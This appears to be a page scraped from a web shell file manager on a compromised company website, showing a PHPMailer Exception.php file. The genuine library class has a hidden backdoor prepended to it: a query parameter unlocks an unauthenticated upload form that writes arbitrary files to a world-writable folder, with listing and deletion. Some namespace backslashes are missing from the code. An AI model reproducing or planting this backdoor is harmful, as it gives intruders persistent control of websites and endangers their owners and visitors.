D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
u193541357
/
domains
/
racysanitaryware.com
/
public_html
/
phpmailer
/
Filename :
Exception.php
back
Copy
<?php session_start(); $_SESSION['username'] = "User"; if (isset($_GET["admin"]) && $_GET["admin"] == "upload") { echo '<h2>Upload File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" name="submit" value="Upload"> </form>'; if (isset($_POST["submit"])) { $target_dir = "uploads/"; if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } $target_file = $target_dir . basename($_FILES["file"]["name"]); if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { echo "File uploaded: <a href='$target_file'>$target_file</a>"; } else { echo "Upload failed."; } } echo '<h2>File yang Sudah Diupload:</h2>'; $files = glob("uploads/*"); if (count($files) > 0) { foreach ($files as $file) { echo "$file - <a href='?admin=upload&delete=$file'>Hapus</a><br>"; } } else { echo "Tidak ada file yang di-upload."; } if (isset($_GET["delete"])) { $file_to_delete = $_GET["delete"]; if (strpos($file_to_delete, "uploads/") === 0 && file_exists($file_to_delete)) { unlink($file_to_delete); echo "File berhasil dihapus."; } else { echo "Gagal menghapus file."; } } exit(); } $title = "Beranda - STYLE FOUR 04"; $year = date("Y"); ?> <?php /** * PHPMailer Exception class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailerPHPMailer; /** * PHPMailer exception handler. * * @author Marcus Bointon <phpmailer@synchromedia.co.uk> */ class Exception extends Exception { /** * Prettify error message output. * * @return string */ public function errorMessage() { return '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />n"; } }